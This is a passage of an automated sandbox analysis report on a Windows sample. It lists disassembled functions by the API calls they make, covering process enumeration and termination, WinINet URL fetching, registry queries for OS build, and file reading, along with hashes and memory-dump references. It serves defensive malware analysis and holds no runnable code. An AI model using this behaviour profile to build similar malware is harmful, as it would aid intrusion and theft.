lstrcat.KERNEL32(00000000,?), ref: 004E9F03
lstrcat.KERNEL32(00000000,?), ref: 004E9F17
lstrcat.KERNEL32(00000000,005012D8), ref: 004E9F29
lstrcpy.KERNEL32(?,00000000), ref: 004E9F7C
Sleep.KERNEL32(00001388), ref: 004EA013

Part of subcall function 004F99A0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004F99C5
Part of subcall function 004F99A0: Process32First.KERNEL32(004EA056,00000128), ref: 004F99D9
Part of subcall function 004F99A0: Process32Next.KERNEL32(004EA056,00000128), ref: 004F99F2
Part of subcall function 004F99A0: OpenProcess.KERNEL32(00000001,00000000,?), ref: 004F9A4E
Part of subcall function 004F99A0: TerminateProcess.KERNEL32(00000000,00000000), ref: 004F9A6C
Part of subcall function 004F99A0: CloseHandle.KERNEL32(00000000), ref: 004F9A79
Part of subcall function 004F99A0: CloseHandle.KERNEL32(004EA056), ref: 004F9A88

Strings

D, xrefs: 004E9FA4

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseHandleProcessProcess32$CreateFirstNextOpenSleepSnapshotSystemTerminateTimeToolhelp32lstrcpywsprintf
String ID: D
API String ID: 531068710-2746444292
Opcode ID: 81172c982a60a89358a7870f341ebb18b36df4a2e528a8966648000a87a88dbc
Instruction ID: c62d7c2de93ef970b2a693bb89a544f9709f179ded5011415fbcdf0e5d2afd13
Opcode Fuzzy Hash: 81172c982a60a89358a7870f341ebb18b36df4a2e528a8966648000a87a88dbc
Instruction Fuzzy Hash: 5C51A7B1944308ABEB24DB60DC4AFEE7378AF44704F004599B60DAB2C1EB75AB84CF55

Function 0055F9E8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0055FA1F
___except_validate_context_record.LIBVCRUNTIME ref: 0055FA27
_ValidateLocalCookies.LIBCMT ref: 0055FAB0
__IsNonwritableInCurrentImage.LIBCMT ref: 0055FADB
_ValidateLocalCookies.LIBCMT ref: 0055FB30

Strings

csm, xrefs: 0055FAC5

Memory Dump Source

Source File: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 73bc2f32c22e0088af07211562fb197d2e7e36a363a5a26788fe809058fe556b
Instruction ID: 490e1f6ac4c341fd594cd3a1e3897250411e381b6df1b7f944983307050f72f0
Opcode Fuzzy Hash: 73bc2f32c22e0088af07211562fb197d2e7e36a363a5a26788fe809058fe556b
Instruction Fuzzy Hash: FB419330900219EBCF10DF68C894A9EBFB5BF49325F148166ED19AB391D7319E09CB91

Function 004E5000 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 004E501A
RtlAllocateHeap.NTDLL(00000000), ref: 004E5021
InternetOpenA.WININET(00500DE3,00000000,00000000,00000000,00000000), ref: 004E503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 004E5061
InternetReadFile.WININET(?,?,00000400,00000000), ref: 004E5091
InternetCloseHandle.WININET(?), ref: 004E5109
InternetCloseHandle.WININET(?), ref: 004E5116

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: cf301260655e45da14550d75d62f321f93da5a9240030bedfecf9ad5e501e6e3
Instruction ID: a87bbb7918ac0104296cecb5e15fb2205b294796d5bf9a953a93387249cca3df
Opcode Fuzzy Hash: cf301260655e45da14550d75d62f321f93da5a9240030bedfecf9ad5e501e6e3
Instruction Fuzzy Hash: DD31F5B4A0421CABDB24CF54CC85BDDB7B4AB88304F1081D9FA09A7281C7746AC58FAD

Function 004F856C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004F85B6
wsprintfA.USER32 ref: 004F85E9
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 004F860B
RegCloseKey.ADVAPI32(00000000), ref: 004F861C
RegCloseKey.ADVAPI32(00000000), ref: 004F8629

Part of subcall function 004FAAB0: lstrcpy.KERNEL32(?,00000000), ref: 004FAAF6

RegQueryValueExA.ADVAPI32(00000000,0145E070,00000000,000F003F,?,00000400), ref: 004F867C
lstrlen.KERNEL32(?), ref: 004F8691
RegQueryValueExA.ADVAPI32(00000000,0145DF98,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00500B3C), ref: 004F8729
RegCloseKey.ADVAPI32(00000000), ref: 004F8798
RegCloseKey.ADVAPI32(00000000), ref: 004F87AA

Strings

%s\%s, xrefs: 004F85DD

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 2d0777d3f1addcc37eb18c16d9f512861a1275860e205536c58200546b46b8ce
Instruction ID: d2da06ef8618731cf16fce5d0e767fce3d708a6b91a4bf8edeef325e14d768ee
Opcode Fuzzy Hash: 2d0777d3f1addcc37eb18c16d9f512861a1275860e205536c58200546b46b8ce
Instruction Fuzzy Hash: EF21EB7191421C9BDB24DB54DC85FE9B3B8FB88704F10C1D9A609A6180DF756A85CFE8

Function 004F99A0 Relevance: 10.6, APIs: 7, Instructions: 60processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004F99C5
Process32First.KERNEL32(004EA056,00000128), ref: 004F99D9
Process32Next.KERNEL32(004EA056,00000128), ref: 004F99F2
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004F9A4E
TerminateProcess.KERNEL32(00000000,00000000), ref: 004F9A6C
CloseHandle.KERNEL32(00000000), ref: 004F9A79
CloseHandle.KERNEL32(004EA056), ref: 004F9A88

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: 20a72dee9dab43a6c49c82866c4a30c04900dbb7bfe707a8abb86b2f92163fc6
Instruction ID: 33fb465b89c3477154a6ac3a9f970413d87ab2e756a5396dd5081540552595c3
Opcode Fuzzy Hash: 20a72dee9dab43a6c49c82866c4a30c04900dbb7bfe707a8abb86b2f92163fc6
Instruction Fuzzy Hash: 4221ED7190421CABDB25DF65DC89BEEB7B9BB88300F1081C9E609A6290D7789E84CF54

Function 004F7820 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004F7834
RtlAllocateHeap.NTDLL(00000000), ref: 004F783B
RegOpenKeyExA.ADVAPI32(80000002,0144C150,00000000,00020119,00000000), ref: 004F786D
RegQueryValueExA.ADVAPI32(00000000,0145E088,00000000,00000000,?,000000FF), ref: 004F788E
RegCloseKey.ADVAPI32(00000000), ref: 004F7898

Strings

Windows 11, xrefs: 004F784D

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 592c3d4abf192b03d5c22c774089b351e1042b487ce017ae4a55f58a31225b51
Instruction ID: 1559809db0e1f2997f52bbf6469a647b82cdabdf4fee30dae11ffad8bc3111af
Opcode Fuzzy Hash: 592c3d4abf192b03d5c22c774089b351e1042b487ce017ae4a55f58a31225b51
Instruction Fuzzy Hash: 7B01F475A44309BBEB04DBE4DD49FAE7778EB88700F108155F705A7291D67C9900CB69

Function 004F78B0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004F78C4
RtlAllocateHeap.NTDLL(00000000), ref: 004F78CB
RegOpenKeyExA.ADVAPI32(80000002,0144C150,00000000,00020119,004F7849), ref: 004F78EB
RegQueryValueExA.ADVAPI32(004F7849,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 004F790A
RegCloseKey.ADVAPI32(004F7849), ref: 004F7914

Strings

CurrentBuildNumber, xrefs: 004F7901

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 66b767a018333c4c3d67124f7ee629b5ca5390678e3c691f779695214f600d08
Instruction ID: 01937cd967e6ff2c470efe13f816e7c85505cbf3854da1e1d4235f286fcc2e36
Opcode Fuzzy Hash: 66b767a018333c4c3d67124f7ee629b5ca5390678e3c691f779695214f600d08
Instruction Fuzzy Hash: D301F4B5A44309BFEB04DBE4DC49FAE7778FB48700F108599F605A6281D7B85A10CBA4

Function 004F9470 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(>=O,80000000,00000003,00000000,00000003,00000080,00000000,?,004F3D3E,?), ref: 004F948C
GetFileSizeEx.KERNEL32(000000FF,>=O), ref: 004F94A9
CloseHandle.KERNEL32(000000FF), ref: 004F94B7

Strings

>=O, xrefs: 004F94A1, 004F94CD, 004F94A4
>=O, xrefs: 004F9488, 004F948B

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: >=O$>=O
API String ID: 1378416451-2321104598
Opcode ID: d21db310b930ca3b88b8e4ed012d3297ad60587c181e70663a8c0dfe65f26c0e
Instruction ID: 3cbfc6e6c3580d14c02d5f2c4c1bbb4393769897dc5aae0bb7b239fc61da54b5
Opcode Fuzzy Hash: d21db310b930ca3b88b8e4ed012d3297ad60587c181e70663a8c0dfe65f26c0e
Instruction Fuzzy Hash: CFF03135E0820CBBDB14DFB4DC49F5E77B9AB98710F10C655FA11A7280D6789A01CB54

Function 004EA110 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004EA13C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 004EA161
LocalAlloc.KERNEL32(00000040,?), ref: 004EA181
ReadFile.KERNEL32(000000FF,?,00000000,004E148F,00000000), ref: 004EA1AA
LocalFree.KERNEL32(004E148F), ref: 004EA1E0
CloseHandle.KERNEL32(000000FF), ref: 004EA1EA

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 77f37f90752850c313f747313a49c2dc61850a9608b5cbe66238f6a0c32eff92
Instruction ID: bef16fb7505f7fcc0b3654851fc5d47fd407edf1e25fe1bafefa93f8a56a94a3
Opcode Fuzzy Hash: 77f37f90752850c313f747313a49c2dc61850a9608b5cbe66238f6a0c32eff92
Instruction Fuzzy Hash: DB312F74A00209EFDB14CF95C885FEEB7B5BF48305F108159E911A7390D778AA91CFA5

Function 004F49D0 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0145E358), ref: 004F4A2B

Part of subcall function 004F8F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 004F8F9B

lstrcat.KERNEL32(?,00000000), ref: 004F4A51
lstrcat.KERNEL32(?,?), ref: 004F4A70
lstrcat.KERNEL32(?,?), ref: 004F4A84
lstrcat.KERNEL32(?,0144BAC0), ref: 004F4A97
lstrcat.KERNEL32(?,?), ref: 004F4AAB
lstrcat.KERNEL32(?,0145DB80), ref: 004F4ABF

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Part of subcall function 004F8F20: GetFileAttributesA.KERNEL32(00000000,?,004E1B94,?,?,0050577C,?,?,00500E22), ref: 004F8F2F

Part of subcall function 004F47C0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 004F47D0
Part of subcall function 004F47C0: RtlAllocateHeap.NTDLL(00000000), ref: 004F47D7
Part of subcall function 004F47C0: wsprintfA.USER32 ref: 004F47F6
Part of subcall function 004F47C0: FindFirstFileA.KERNEL32(?,?), ref: 004F480D

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
